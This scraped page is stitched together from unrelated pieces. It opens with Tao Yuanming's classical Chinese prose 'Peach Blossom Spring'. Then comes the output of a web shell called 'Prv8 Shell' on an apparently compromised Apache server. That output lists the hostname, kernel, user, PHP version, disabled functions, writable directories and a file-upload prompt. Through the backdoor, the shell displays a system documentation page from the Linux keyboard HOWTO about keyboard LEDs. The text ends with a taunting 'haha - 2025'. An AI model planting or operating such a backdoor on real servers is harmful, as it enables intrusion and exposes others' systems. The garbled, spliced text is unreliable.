晋太元中，武陵人捕鱼为业。缘溪行，忘路之远近。忽逢桃花林，夹岸数百步，中无杂树，芳草鲜美，落英缤纷。渔人甚异之，复前行，欲穷其林。 　　林尽水源，便得一山，山有小口，仿佛若有光。便舍船，从口入。初极狭，才通人。复行数十步，豁然开朗。土地平旷，屋舍俨然，有良田、美池、桑竹之属。阡陌交通，鸡犬相闻。其中往来种作，男女衣着，悉如外人。黄发垂髫，并怡然自乐。 　　见渔人，乃大惊，问所从来。具答之。便要还家，设酒杀鸡作食。村中闻有此人，咸来问讯。自云先世避秦时乱，率妻子邑人来此绝境，不复出焉，遂与外人间隔。问今是何世，乃不知有汉，无论魏晋。此人一一为具言所闻，皆叹惋。余人各复延至其家，皆出酒食。停数日，辞去。此中人语云：“不足为外人道也。”(间隔 一作：隔绝) 　　既出，得其船，便扶向路，处处志之。及郡下，诣太守，说如此。太守即遣人随其往，寻向所志，遂迷，不复得路。 　　南阳刘子骥，高尚士也，闻之，欣然规往。未果，寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /proc/thread-self/root/usr/share/doc/kbd/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/thread-self/root/usr/share/doc/kbd/kbd.FAQ-10.html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<HTML>
<HEAD>
 <META NAME="GENERATOR" CONTENT="SGML-Tools 1.0.9">
 <TITLE>The Linux keyboard and console HOWTO: The keyboard LEDs</TITLE>
 <LINK HREF="kbd.FAQ-11.html" REL=next>
 <LINK HREF="kbd.FAQ-9.html" REL=previous>
 <LINK HREF="kbd.FAQ.html#toc10" REL=contents>
</HEAD>
<BODY>
<A HREF="kbd.FAQ-11.html">Next</A>
<A HREF="kbd.FAQ-9.html">Previous</A>
<A HREF="kbd.FAQ.html#toc10">Contents</A>
<HR>
<H2><A NAME="s10">10. The keyboard LEDs</A></H2>

<P>
<!--
LEDs, keyboard
-->

<!--
keyboard!LEDs on
-->
<P>1. There are per-tty keyboard flags:
each VC has its own NumLock, CapsLock, ScrollLock.
By default these keyboard flags are shown in the LEDs.
The usual way to change them is by pressing the corresponding key.
(Side remark: pressing the NumLock key when in application key mode
will not change the NumLock status, but produce an escape sequence.
If you want the NumLock key to always change the Numlock status,
bind it to Bare_Num_Lock.)
<P>2. Next, there are per-tty default keyboard flags,
to initialize the keyboard flags when a reset occurs.
Thus if you want NumLock on all the time, that is possible.
The usual way to change them is by `<CODE>setleds -D</CODE> ...'.
<P>3. There is the possibility that the leds do not reflect
the keyboard flags, but something else.
<P>3A. This something else can be three bits somewhere in the kernel -
which can be used if you want to monitor some hardware or software
status bit(s). If you want this, edit the kernel source to call
<CODE>register_leds()</CODE> somewhere.
<P>3B. This something else can also be whatever some user program wants
to show in the LEDs. Thus, people who like such things can make
nice patterns of lights. If you want this, use the KDSETLED ioctl.
<P>This latter use is not per-tty, but the choice between former
and latter use is per-tty.
<P>Summarizing: Each tty has a flag <CODE>kbd->ledmode</CODE>.
If this has the value LED_SHOW_FLAGS then the keyboard flags
(NumLock etc.) of that tty are shown.
If this has the value LED_SHOW_MEM then three selected memory
addresses are shown.
If this has the value LED_SHOW_IOCTL then the leds show whatever
value was last assigned to them using the KDSETLED ioctl.
<P>One may add that X uses ioctl's to set the LEDs, but fails
to reset its VT when it exits, so after using X there may
be one VT that is not in the default LED_SHOW_FLAGS state.
This can be fixed by doing `<CODE>setleds -L</CODE>' on that VT.
See setleds(1).
<P>
<HR>
<A HREF="kbd.FAQ-11.html">Next</A>
<A HREF="kbd.FAQ-9.html">Previous</A>
<A HREF="kbd.FAQ.html#toc10">Contents</A>
</BODY>
</HTML>

haha - 2025